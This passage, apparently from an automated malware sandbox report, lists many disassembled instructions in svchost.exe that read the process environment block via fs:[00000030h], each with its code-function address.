                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]1_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]1_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]1_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030663FF mov eax, dword ptr fs:[00000030h]1_2_030663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302823B mov eax, dword ptr fs:[00000030h]1_2_0302823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B8243 mov eax, dword ptr fs:[00000030h]1_2_030B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B8243 mov ecx, dword ptr fs:[00000030h]1_2_030B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302A250 mov eax, dword ptr fs:[00000030h]1_2_0302A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036259 mov eax, dword ptr fs:[00000030h]1_2_03036259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EA250 mov eax, dword ptr fs:[00000030h]1_2_030EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EA250 mov eax, dword ptr fs:[00000030h]1_2_030EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]1_2_03034260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]1_2_03034260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]1_2_03034260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302826B mov eax, dword ptr fs:[00000030h]1_2_0302826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]1_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E284 mov eax, dword ptr fs:[00000030h]1_2_0306E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E284 mov eax, dword ptr fs:[00000030h]1_2_0306E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]1_2_030B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]1_2_030B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]1_2_030B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030402A0 mov eax, dword ptr fs:[00000030h]1_2_030402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030402A0 mov eax, dword ptr fs:[00000030h]1_2_030402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]1_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C62A0 mov ecx, dword ptr fs:[00000030h]1_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]1_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]1_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]1_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]1_2_030C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]1_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]1_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]1_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]1_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]1_2_0303A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]1_2_030402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]1_2_030402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]1_2_030402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]1_2_030DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DA118 mov ecx, dword ptr fs:[00000030h]1_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]1_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]1_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]1_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F0115 mov eax, dword ptr fs:[00000030h]1_2_030F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03060124 mov eax, dword ptr fs:[00000030h]1_2_03060124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]1_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]1_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C4144 mov ecx, dword ptr fs:[00000030h]1_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]1_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]1_2_030C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302C156 mov eax, dword ptr fs:[00000030h]1_2_0302C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C8158 mov eax, dword ptr fs:[00000030h]1_2_030C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036154 mov eax, dword ptr fs:[00000030h]1_2_03036154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036154 mov eax, dword ptr fs:[00000030h]1_2_03036154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03070185 mov eax, dword ptr fs:[00000030h]1_2_03070185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EC188 mov eax, dword ptr fs:[00000030h]1_2_030EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EC188 mov eax, dword ptr fs:[00000030h]1_2_030EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D4180 mov eax, dword ptr fs:[00000030h]1_2_030D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D4180 mov eax, dword ptr fs:[00000030h]1_2_030D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]1_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]1_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]1_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]1_2_030B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]1_2_0302A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]1_2_0302A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]1_2_0302A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F61C3 mov eax, dword ptr fs:[00000030h]1_2_030F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F61C3 mov eax, dword ptr fs:[00000030h]1_2_030F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]1_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]1_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]1_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]1_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]1_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_031061E5 mov eax, dword ptr fs:[00000030h]1_2_031061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030601F8 mov eax, dword ptr fs:[00000030h]1_2_030601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B4000 mov ecx, dword ptr fs:[00000030h]1_2_030B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]1_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]1_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]1_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]1_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]1_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302A020 mov eax, dword ptr fs:[00000030h]1_2_0302A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302C020 mov eax, dword ptr fs:[00000030h]1_2_0302C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C6030 mov eax, dword ptr fs:[00000030h]1_2_030C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03032050 mov eax, dword ptr fs:[00000030h]1_2_03032050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6050 mov eax, dword ptr fs:[00000030h]1_2_030B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305C073 mov eax, dword ptr fs:[00000030h]1_2_0305C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303208A mov eax, dword ptr fs:[00000030h]1_2_0303208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C80A8 mov eax, dword ptr fs:[00000030h]1_2_030C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F60B8 mov eax, dword ptr fs:[00000030h]1_2_030F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F60B8 mov ecx, dword ptr fs:[00000030h]1_2_030F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B20DE mov eax, dword ptr fs:[00000030h]1_2_030B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]1_2_0302A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030380E9 mov eax, dword ptr fs:[00000030h]1_2_030380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B60E0 mov eax, dword ptr fs:[00000030h]1_2_030B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302C0F0 mov eax, dword ptr fs:[00000030h]1_2_0302C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030720F0 mov ecx, dword ptr fs:[00000030h]1_2_030720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C700 mov eax, dword ptr fs:[00000030h]1_2_0306C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030710 mov eax, dword ptr fs:[00000030h]1_2_03030710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03060710 mov eax, dword ptr fs:[00000030h]1_2_03060710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C720 mov eax, dword ptr fs:[00000030h]1_2_0306C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C720 mov eax, dword ptr fs:[00000030h]1_2_0306C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306273C mov eax, dword ptr fs:[00000030h]1_2_0306273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306273C mov ecx, dword ptr fs:[00000030h]1_2_0306273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306273C mov eax, dword ptr fs:[00000030h]1_2_0306273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AC730 mov eax, dword ptr fs:[00000030h]1_2_030AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306674D mov esi, dword ptr fs:[00000030h]1_2_0306674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306674D mov eax, dword ptr fs:[00000030h]1_2_0306674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306674D mov eax, dword ptr fs:[00000030h]1_2_0306674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030750 mov eax, dword ptr fs:[00000030h]1_2_03030750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BE75D mov eax, dword ptr fs:[00000030h]1_2_030BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072750 mov eax, dword ptr fs:[00000030h]1_2_03072750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072750 mov eax, dword ptr fs:[00000030h]1_2_03072750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B4755 mov eax, dword ptr fs:[00000030h]1_2_030B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038770 mov eax, dword ptr fs:[00000030h]1_2_03038770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]1_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D678E mov eax, dword ptr fs:[00000030h]1_2_030D678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030307AF mov eax, dword ptr fs:[00000030h]1_2_030307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E47A0 mov eax, dword ptr fs:[00000030h]1_2_030E47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303C7C0 mov eax, dword ptr fs:[00000030h]1_2_0303C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B07C3 mov eax, dword ptr fs:[00000030h]1_2_030B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]1_2_030527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]1_2_030527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]1_2_030527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BE7E1 mov eax, dword ptr fs:[00000030h]1_2_030BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030347FB mov eax, dword ptr fs:[00000030h]1_2_030347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030347FB mov eax, dword ptr fs:[00000030h]1_2_030347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE609 mov eax, dword ptr fs:[00000030h]1_2_030AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]1_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072619 mov eax, dword ptr fs:[00000030h]1_2_03072619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E627 mov eax, dword ptr fs:[00000030h]1_2_0304E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03066620 mov eax, dword ptr fs:[00000030h]1_2_03066620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03068620 mov eax, dword ptr fs:[00000030h]1_2_03068620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303262C mov eax, dword ptr fs:[00000030h]1_2_0303262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304C640 mov eax, dword ptr fs:[00000030h]1_2_0304C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F866E mov eax, dword ptr fs:[00000030h]1_2_030F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F866E mov eax, dword ptr fs:[00000030h]1_2_030F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A660 mov eax, dword ptr fs:[00000030h]1_2_0306A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A660 mov eax, dword ptr fs:[00000030h]1_2_0306A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03062674 mov eax, dword ptr fs:[00000030h]1_2_03062674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034690 mov eax, dword ptr fs:[00000030h]1_2_03034690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034690 mov eax, dword ptr fs:[00000030h]1_2_03034690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C6A6 mov eax, dword ptr fs:[00000030h]1_2_0306C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030666B0 mov eax, dword ptr fs:[00000030h]1_2_030666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]1_2_0306A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A6C7 mov eax, dword ptr fs:[00000030h]1_2_0306A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]1_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]1_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]1_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]1_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B06F1 mov eax, dword ptr fs:[00000030h]1_2_030B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B06F1 mov eax, dword ptr fs:[00000030h]1_2_030B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C6500 mov eax, dword ptr fs:[00000030h]1_2_030C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]1_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]1_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]1_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]1_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]1_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]1_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]1_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]1_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]1_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]1_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]1_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]1_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038550 mov eax, dword ptr fs:[00000030h]1_2_03038550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038550 mov eax, dword ptr fs:[00000030h]1_2_03038550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306656A mov eax, dword ptr fs:[00000030h]1_2_0306656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306656A mov eax, dword ptr fs:[00000030h]1_2_0306656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306656A mov eax, dword ptr fs:[00000030h]1_2_0306656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03032582 mov eax, dword ptr fs:[00000030h]1_2_03032582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03032582 mov ecx, dword ptr fs:[00000030h]1_2_03032582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03064588 mov eax, dword ptr fs:[00000030h]1_2_03064588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E59C mov eax, dword ptr fs:[00000030h]1_2_0306E59C
